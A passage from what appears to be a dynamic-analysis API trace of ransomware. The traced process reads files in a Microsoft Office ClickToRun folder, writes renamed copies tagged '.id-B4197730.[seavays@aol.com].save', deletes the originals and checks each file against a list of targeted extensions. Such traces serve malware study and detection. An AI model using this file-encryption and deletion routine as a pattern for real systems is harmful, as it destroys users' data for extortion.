shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0069.341] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=263896) returned 1 [0069.341] CloseHandle (hObject=0x370) returned 1 [0069.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 0x20 [0069.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0069.342] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0069.342] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.342] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.342] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0069.343] GetLastError () returned 0x0 [0069.343] ReadFile (in: hFile=0x370, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x406d8, lpOverlapped=0x0) returned 1 [0069.352] WriteFile (in: hFile=0x374, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x406e0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x406e0, lpOverlapped=0x0) returned 1 [0069.361] ReadFile (in: hFile=0x370, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0069.361] WriteFile (in: hFile=0x374, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xf4, lpOverlapped=0x0) returned 1 [0069.361] SetEndOfFile (hFile=0x374) returned 1 [0069.361] CloseHandle (hObject=0x374) returned 1 [0069.368] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.368] SetEndOfFile (hFile=0x370) returned 1 [0069.372] CloseHandle (hObject=0x370) returned 1 [0069.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0069.373] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 1 [0069.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0069.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0069.373] lstrlenW (lpString=".doc") returned 4 [0069.373] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0069.373] lstrlenW (lpString=".docx") returned 5 [0069.373] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0069.373] lstrlenW (lpString=".pdf") returned 4 [0069.373] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0069.373] lstrlenW (lpString=".xls") returned 4 [0069.373] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0069.374] lstrlenW (lpString=".xlsx") returned 5 [0069.374] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0069.374] lstrlenW (lpString=".ppt") returned 4 [0069.374] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0069.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0069.374] lstrlenW (lpString=".zip") returned 4 [0069.374] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0069.374] lstrlenW (lpString=".rar") returned 4 [0069.374] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0069.374] lstrlenW (lpString=".bz2") returned 4 [0069.374] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0069.374] lstrlenW (lpString=".7z") returned 3 [0069.374] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0069.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0069.374] lstrlenW (lpString=".dbf") returned 4 [0069.374] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0069.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0069.374] lstrlenW (lpString=".1cd") returned 4 [0069.374] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0069.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0069.374] lstrlenW (lpString=".jpg") returned 4 [0069.374] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0069.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0069.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0069.374] lstrlenW (lpString=".doc") returned 4 [0069.375] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0069.375] lstrlenW (lpString=".docx") returned 5 [0069.375] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0069.375] lstrlenW (lpString=".pdf") returned 4 [0069.375] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0069.375] lstrlenW (lpString=".xls") returned 4 [0069.375] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0069.375] lstrlenW (lpString=".xlsx") returned 5 [0069.375] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0069.375] lstrlenW (lpString=".ppt") returned 4 [0069.375] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0069.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0069.375] lstrlenW (lpString=".zip") returned 4 [0069.375] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0069.375] lstrlenW (lpString=".rar") returned 4 [0069.375] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0069.375] lstrlenW (lpString=".bz2") returned 4 [0069.375] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0069.375] lstrlenW (lpString=".7z") returned 3 [0069.375] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0069.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0069.375] lstrlenW (lpString=".dbf") returned 4 [0069.375] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0069.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0069.375] lstrlenW (lpString=".1cd") returned 4 [0069.375] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0069.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0069.375] lstrlenW (lpString=".jpg") returned 4 [0069.376] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0069.376] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0069.376] lstrlenW (lpString="C2R64.dll") returned 9 [0069.376] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0069.376] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=1208928) returned 1 [0069.376] CloseHandle (hObject=0x370) returned 1 [0069.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")) returned 0x20 [0069.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0069.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0069.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0069.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0069.377] lstrlenW (lpString=".doc") returned 4 [0069.377] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0069.377] lstrlenW (lpString=".docx") returned 5 [0069.377] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0069.377] lstrlenW (lpString=".pdf") returned 4 [0069.377] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0069.377] lstrlenW (lpString=".xls") returned 4 [0069.377] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0069.377] lstrlenW (lpString=".xlsx") returned 5 [0069.377] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0069.377] lstrlenW (lpString=".ppt") returned 4 [0069.377] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0069.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0069.377] lstrlenW (lpString=".zip") returned 4 [0069.377] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0069.378] lstrlenW (lpString=".rar") returned 4 [0069.378] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0069.378] lstrlenW (lpString=".bz2") returned 4 [0069.378] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0069.378] lstrlenW (lpString=".7z") returned 3 [0069.378] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0069.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0069.378] lstrlenW (lpString=".dbf") returned 4 [0069.378] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0069.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0069.378] lstrlenW (lpString=".1cd") returned 4 [0069.378] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0069.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0069.378] lstrlenW (lpString=".jpg") returned 4 [0069.378] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0069.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0069.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0069.378] lstrlenW (lpString=".doc") returned 4 [0069.378] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0069.378] lstrlenW (lpString=".docx") returned 5 [0069.378] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0069.378] lstrlenW (lpString=".pdf") returned 4 [0069.378] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0069.378] lstrlenW (lpString=".xls") returned 4 [0069.378] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0069.378] lstrlenW (lpString=".xlsx") returned 5 [0069.379] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0069.379] lstrlenW (lpString=".ppt") returned 4 [0069.379] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0069.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0069.379] lstrlenW (lpString=".zip") returned 4 [0069.379] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0069.379] lstrlenW (lpString=".rar") returned 4 [0069.379] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0069.379] lstrlenW (lpString=".bz2") returned 4 [0069.379] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0069.379] lstrlenW (lpString=".7z") returned 3 [0069.379] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0069.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0069.379] lstrlenW (lpString=".dbf") returned 4 [0069.379] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0069.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0069.379] lstrlenW (lpString=".1cd") returned 4 [0069.379] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0069.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0069.379] lstrlenW (lpString=".jpg") returned 4 [0069.379] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0069.379] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0069.380] lstrlenW (lpString="C2RUI.en-us.dll") returned 15 [0069.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0069.380] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=902328) returned 1 [0069.380] CloseHandle (hObject=0x370) returned 1 [0069.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 0x20 [0069.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0069.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0069.381] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.381] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0069.381] GetLastError () returned 0x0 [0069.381] ReadFile (in: hFile=0x370, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0xdc4b8, lpOverlapped=0x0) returned 1 [0069.730] WriteFile (in: hFile=0x374, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xdc4c0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xdc4c0, lpOverlapped=0x0) returned 1 [0069.747] ReadFile (in: hFile=0x370, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0069.747] WriteFile (in: hFile=0x374, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xf2, lpOverlapped=0x0) returned 1 [0069.748] SetEndOfFile (hFile=0x374) returned 1 [0069.748] CloseHandle (hObject=0x374) returned 1 [0071.405] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.406] SetEndOfFile (hFile=0x370) returned 1 [0071.415] CloseHandle (hObject=0x370) returned 1 [0071.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0071.415] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 1 [0071.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0071.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0071.416] lstrlenW (lpString=".doc") returned 4 [0071.416] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0071.416] lstrlenW (lpString=".docx") returned 5 [0071.416] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0071.416] lstrlenW (lpString=".pdf") returned 4 [0071.416] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0071.416] lstrlenW (lpString=".xls") returned 4 [0071.416] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0071.416] lstrlenW (lpString=".xlsx") returned 5 [0071.416] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0071.416] lstrlenW (lpString=".ppt") returned 4 [0071.416] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0071.416] lstrlenW (lpString=".zip") returned 4 [0071.416] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.416] lstrlenW (lpString=".rar") returned 4 [0071.416] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.417] lstrlenW (lpString=".bz2") returned 4 [0071.417] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.417] lstrlenW (lpString=".7z") returned 3 [0071.417] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0071.417] lstrlenW (lpString=".dbf") returned 4 [0071.417] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0071.417] lstrlenW (lpString=".1cd") returned 4 [0071.417] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0071.417] lstrlenW (lpString=".jpg") returned 4 [0071.417] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0071.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0071.417] lstrlenW (lpString=".doc") returned 4 [0071.417] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0071.417] lstrlenW (lpString=".docx") returned 5 [0071.417] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0071.417] lstrlenW (lpString=".pdf") returned 4 [0071.417] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0071.417] lstrlenW (lpString=".xls") returned 4 [0071.417] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0071.417] lstrlenW (lpString=".xlsx") returned 5 [0071.417] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0071.417] lstrlenW (lpString=".ppt") returned 4 [0071.417] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0071.418] lstrlenW (lpString=".zip") returned 4 [0071.418] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.418] lstrlenW (lpString=".rar") returned 4 [0071.418] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.418] lstrlenW (lpString=".bz2") returned 4 [0071.418] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.418] lstrlenW (lpString=".7z") returned 3 [0071.418] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0071.418] lstrlenW (lpString=".dbf") returned 4 [0071.418] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0071.418] lstrlenW (lpString=".1cd") returned 4 [0071.420] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0071.420] lstrlenW (lpString=".jpg") returned 4 [0071.420] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.421] lstrcmpiW (lpString1=".exe", lpString2=".save") returned -1 [0071.421] lstrlenW (lpString="MavInject32.exe") returned 15 [0071.421] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0071.422] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=358616) returned 1 [0071.422] CloseHandle (hObject=0x370) returned 1 [0071.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 0x20 [0071.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0071.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0071.422] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.422] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0071.423] GetLastError () returned 0x0 [0071.423] ReadFile (in: hFile=0x370, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x578d8, lpOverlapped=0x0) returned 1 [0071.432] WriteFile (in: hFile=0x374, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x578e0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x578e0, lpOverlapped=0x0) returned 1 [0071.444] ReadFile (in: hFile=0x370, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.444] WriteFile (in: hFile=0x374, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xf2, lpOverlapped=0x0) returned 1 [0071.444] SetEndOfFile (hFile=0x374) returned 1 [0071.444] CloseHandle (hObject=0x374) returned 1 [0072.018] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.018] SetEndOfFile (hFile=0x370) returned 1 [0072.023] CloseHandle (hObject=0x370) returned 1 [0072.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0072.023] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 1 [0072.347] lstrlenW 